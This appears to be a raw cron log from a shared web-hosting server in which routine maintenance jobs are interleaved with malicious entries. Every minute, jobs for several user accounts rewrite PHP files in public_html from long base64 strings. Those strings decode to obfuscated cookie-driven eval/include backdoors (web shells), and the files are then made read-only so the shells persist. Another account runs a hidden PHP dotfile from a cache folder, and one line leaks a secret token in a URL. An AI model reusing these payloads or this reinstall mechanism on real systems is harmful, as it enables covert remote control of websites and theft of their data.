Mar  1 12:19:02 medusa CROND[32275]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 12:19:02 medusa CROND[32278]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 12:19:02 medusa CROND[32279]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 12:19:02 medusa CROND[32280]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 12:19:02 medusa CROND[32283]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 12:19:02 medusa CROND[32284]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 12:19:02 medusa CROND[32282]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 12:19:02 medusa CROND[32286]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 12:19:02 medusa CROND[32287]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 12:19:02 medusa CROND[32288]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 12:20:02 medusa CROND[22476]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 12:20:02 medusa CROND[22483]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-syncpkg.cronlock /usr/bin/cl-syncpkgs)
Mar  1 12:20:02 medusa CROND[22484]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Mar  1 12:20:02 medusa CROND[22485]: (root) CMD (/usr/bin/test -e /etc/cpanel-dovecot-solrdisable || /usr/local/cpanel/3rdparty/scripts/cpanel_dovecot_solr_commit)
Mar  1 12:20:02 medusa CROND[22486]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 12:20:02 medusa CROND[22487]: (root) CMD (/usr/bin/flock -n /var/run/detect_edition_changes.cronlock /usr/share/l.v.e-manager/detect_edition_changes.py > /dev/null 2>&1)
Mar  1 12:20:02 medusa CROND[22489]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 12:20:02 medusa CROND[22491]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 12:20:02 medusa CROND[22490]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 12:20:02 medusa CROND[22492]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux-xray-plugin-check.cronlock /usr/share/lvemanager-xray/plugins/install-xray-plugin.py --check > /dev/null 2>&1)
Mar  1 12:20:02 medusa CROND[22488]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 12:20:02 medusa CROND[22496]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Mar  1 12:20:02 medusa CROND[22500]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 12:20:02 medusa CROND[22502]: (root) CMD (/usr/local/cpanel/3rdparty/bin/php -d disable_functions="" /usr/local/cpanel/whostmgr/docroot/cgi/softaculous/do_backups.php >> /dev/null 2>&1)
Mar  1 12:20:02 medusa CROND[22505]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 12:20:02 medusa CROND[22506]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-quota.cronlock /usr/bin/cl-quota -YC)
Mar  1 12:20:02 medusa CROND[22510]: (firadio) CMD (wget -q -O /dev/null http://firadio.com.ar/fiamigos/ow_cron/run.php > /dev/null)
Mar  1 12:20:02 medusa CROND[22499]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Mar  1 12:20:02 medusa CROND[22514]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 12:20:02 medusa CROND[22517]: (root) CMD (/nutscripts/control_exim.sh  >/dev/null 2>&1)
Mar  1 12:20:02 medusa CROND[22513]: (root) CMD (   bash -c "sleep $((RANDOM % 60))" ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Mar  1 12:20:02 medusa CROND[22515]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Mar  1 12:20:02 medusa CROND[22522]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Mar  1 12:20:02 medusa CROND[22528]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 12:20:02 medusa CROND[22526]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  1 12:20:02 medusa CROND[22531]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cache_php.cronlock /usr/share/l.v.e-manager/utils/cache_phpdata.py)
Mar  1 12:20:02 medusa CROND[22516]: (root) CMD (/usr/bin/flock -n /var/run/edition_watcher.cronlock /usr/sbin/cloudlinux-edition-watcher check &> /dev/null)
Mar  1 12:20:02 medusa CROND[22529]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cagefs_exclude_users.cronlock /usr/share/cagefs/exclude_users_cleaner.py)
Mar  1 12:20:02 medusa CROND[22533]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 12:20:02 medusa CROND[22541]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_lve_manager.cronlock /usr/share/l.v.e-manager/cpanel/hooks/l.v.e-manager_postupcp_hook.sh --cronjob)
Mar  1 12:21:02 medusa CROND[12374]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 12:21:02 medusa CROND[12492]: (root) CMD (/usr/bin/flock -n /var/run/get_panel_users.cronlock /usr/sbin/getpaneluserscount &> /dev/null)
Mar  1 12:21:02 medusa CROND[12493]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_kill_php_script.cronlock bash /usr/sbin/kill_php_script)
Mar  1 12:21:02 medusa CROND[12494]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 12:21:02 medusa CROND[12495]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 12:21:02 medusa CROND[12496]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 12:21:02 medusa CROND[12497]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
